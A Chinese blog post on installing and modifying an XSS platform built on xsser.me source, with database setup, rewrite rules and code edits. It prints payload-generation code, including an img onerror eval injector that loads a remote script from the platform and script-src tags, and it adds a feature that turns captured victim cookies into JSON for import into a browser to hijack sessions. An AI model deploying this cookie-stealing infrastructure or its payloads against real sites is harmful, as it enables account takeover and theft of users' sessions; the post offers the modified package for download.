您的位置:首页 > 其它

XSS 平台搭建与优化(基于 xsser.me 源码)

2015-08-03 02:41 519 查看
这个周花了点时间捣鼓公司内网论坛,不幸发现原来搭建的 xss platform 挂了,于是重新找了一份代码进行搭建。

在 zone 里面找了一份别人优化过的代码,作者是 Gosuto ,地址点我

为什么选择这个呢,主要是因为作者用 Bootstrap 对
xsser.me
的默认主题进行了修改,看起来高大上了很多~(至于兼容移动端神马的就算了吧0 0)

下载源码后,照着作者写的安装说明进行修改就好了:

修改
config.php
里面的数据库连接字段,包括数据库配置(用户名、密码、数据库名)、网站
URL 路径和伪静态配置。
把根目录下的
xssplatform.sql
导入到数据库中。
在数据库中执行 SQL 语句,把数据库中的域名改为自己的域名:

UPDATE oc_module SET code=REPLACE(code,'http://xsser.me','http://yourdomain/xss')


替换
authtest.php
中的域名为自己的域名。
首次注册成功后,修改
user
表中用户对应的
adminlevel
为1,将自己定义为超级管理员,可以发送和管理邀请码。
根据 server 类型配置伪静态文件:

Apache

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^([0-9a-zA-Z]{6})$ /index.php?do=code&urlKey=$1 [L]
RewriteRule ^do/auth/(\w+?)(/domain/([\w\.]+?))?$  /index.php?do=do&auth=$1&domain=$3 [L]
RewriteRule ^register/(.*?)$ /index.php?do=register&key=$1 [L]
RewriteRule ^register-validate/(.*?)$ /index.php?do=register&act=validate&key=$1 [L]


Nginx

rewrite "^/([0-9a-zA-Z]{6})$" /index.php?do=code&urlKey=$1 break;
rewrite "^/do/auth/(w+?)(/domain/([w.]+?))?$" /index.php?do=do&auth=$1&domain=$3 break;
rewrite "^/register/(.*?)$" /index.php?do=register&key=$1 break;
rewrite "^/register-validate/(.*?)$" /index.php?do=register&act=validate&key=$1 break;
rewrite "^/login$" /index.php?do=login break;


到这里xss platform就搭建完成了。

我在使用过程碰到的一些 bug,于是对源代码进行了一番修改。


1. 短地址接口部分失效

在项目代码中有一个转换短地址的功能,当然原版的
xsser.me
是没有的,是另外的作者集成进来的。

代码里提供
t.cn
is.gd
的短地址转换,对应函数在
source/function.php
中的第350行和357行。由于
is.gd

api 地址已经失效,所以我决定把这一块内容去掉。

先删掉页面上展示的内容,打开
templates_c/%%4D^4D3^4D30CF2A%%project_viewcode.html.php
,将下面代码去掉:

<p>
<pre>
<?php echo $this->_tpl_vars['shortShow1']; ?>
</pre>
</p>


然后在
source/project.php
里面注释下面两行:

$shortUrl2=LongUrltoShortUrl2($longUrl);//短网址2
$shortShow2=StripStr("<script src=".$shortUrl2."></script>");



2. 去掉JS地址后面的时间戳

JS 地址后面加入时间戳,是为了在修改 JS 代码后,刷新对方浏览器中缓存的 JS。但在实际测试中感觉作用不是很大,一般代码修改完刷新一下网页出来的就是新代码。所以我把 JS URL 中的时间戳去掉了。

source/project.php
里进行下面的修改:

//$codeurl=URL_ROOT."/{$project[urlKey]}?".time();
$codeurl=URL_ROOT."/{$project[urlKey]}";

//$scriptShow1=StripStr("<textarea>'"<script src=".URL_ROOT."/{$project[urlKey]}?".time()."></script>");
$scriptShow1=StripStr("<script src=".URL_ROOT."/{$project[urlKey]}></script>");

//$code2='var b=document.createElement("script");b.src="'.URL_ROOT."/{$project[urlKey]}?".'"+Math.random();(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);';
$code2='var b=document.createElement("script");b.src="'.URL_ROOT."/{$project[urlKey]}".'";(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);';

//$scriptShow2=StripStr("</textarea>'\"><img src=# id=xssyou style=display:none onerror=eval(unescape(/".rawurlencode($code2)."/.source));//>");
$scriptShow2=StripStr("<img src=# id=xssyou style=display:none onerror=eval(unescape(/".rawurlencode($code2)."/.source));//>");



3. HTML 部分优化

代码中部分 Javascript 和 CSS 资源都是通过国外 CDN 获取的,有时候页面 load 很久才出来,于是把文中引用的资源都改为本地,当然改成国内 CDN 地址也可以。

在 Sublime Text 中对目录进行搜索,找出
jquery-1.9.1.min.js
bootstrap.min.js
引用的地方,然后修改为本地引用,文件放在
themes/default
里对应的文件夹。

<script src="http://code.jquery.com/jquery-1.9.1.min.js"></script>
//修改为:
<script src="<?php echo $this->_tpl_vars['url']['themePath']; ?>
/js/jquery.min.js"></script>


<script src="http://www.bootstrapcdn.com/bootstrap/2.3.1/js/bootstrap.min.js"></script>
//修改为:
<script src="<?php echo $this->_tpl_vars['url']['themePath']; ?>
/js/bootstrap.min.js"></script>


PS.注意修改后的代码为两行。

PPS.其实引用的 Javascript 文件最好放在
<body>
的最后,但这里需要手动找到所有的 Javascript 进行修改,太麻烦了就没做。


4. 添加 cookie 复制功能

一般来说,打到对方 cookie 后,会借用EditThisCookie这个工具把 cookie 导入到 chrome 中。但
document.cookie
输出的
cookie 不能直接导入,需要转换成EditThisCookie规定的 JSON 格式。

源代码中本身自带了实现复制功能的 JS 代码,但默认是注释掉的,因为没有完整实现。同时,这个复制只是把 JSON 化后的 cookie 通过
alert()
打印到屏幕上,当 cookie 内容过多时,alert 窗口并不能展示所有的内容。

于是我决定对这个功能进行修改,在完成 JSON 格式化的同时,把 JSON 内容放入到剪贴板中。

首先对原有 HTML 节点进行修改,打开
%%33^334^334DB811%%project_view.html.php
,找到下面内容:

<li>
<?php echo $this->_tpl_vars['ck']; ?>
: <?php echo $this->_tpl_vars['c']; ?>
</li>

修改为:

<li>
<?php echo $this->_tpl_vars['ck']; ?>
: <span id="<?php echo $this->_tpl_vars['ck']; ?>"><?php echo $this->_tpl_vars['c']; ?></span>
</li>


<tr class="ohidden">

修改为:

<tr id="<?php echo $this->_tpl_vars['v']['id']; ?>" class="ohidden">


<!--
  <a href="javascript:void(0)" onclick="Copy(this)">复制</a>
-->

修改为:

  <a href="javascript:void(0)" onclick="Copy(this)">复制</a>


当某一条记录没有
location
或者
cookie
值的时候,
Copy()
函数会报错,所以要加一个判断条件:

var table = $(obj).parent().parent();
var l = table.find("#location").text();
var c = table.find("#cookie").text();

修改为:

var table = $("#"+obj).parent().parent();
var l = table.find("#location").text();
var c = table.find("#cookie").text();
if (l == "" || c == "") {
return "";
}


修改
Copy()
函数的返回形式:

alert(JSON.stringify(data));

修改为:

return JSON.stringify(data);


为了实现让 JSON 数据复制到粘贴板上,我们需要借助
ZeroClipboard.js
这个插件。下面是调用代码:

<script src="<?php echo $this->_tpl_vars['url']['themePath']; ?>
/js/ZeroClipboard.min.js"></script>


ZeroClipboard.config( { swfPath: "'.$this->_tpl_vars['url']['themePath'].'/swf/ZeroClipboard.swf" } );
var client = new ZeroClipboard($(".CopyBtn"));
client.on('copy', function(event) {
var clipboard = event.clipboardData;
clipboard.clearData();
clipboard.setData("text/plain", Copy(event.target.id));
});
client.on('aftercopy', function(event) {
if (typeof(event.success['text/plain']) == "undefined") {
alert("cookie复制失败,请检查cookie格式~");
}
else {
alert("cookie已复制到剪贴板,可以导入EditThisCookie啦~");
}
});


这样就大功告成了~

另外还有一些细微的改动就不说了,反正现在用起来挺好的~

最后放上我修改后的源码包~

下载地址:xss_platform.tgz
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: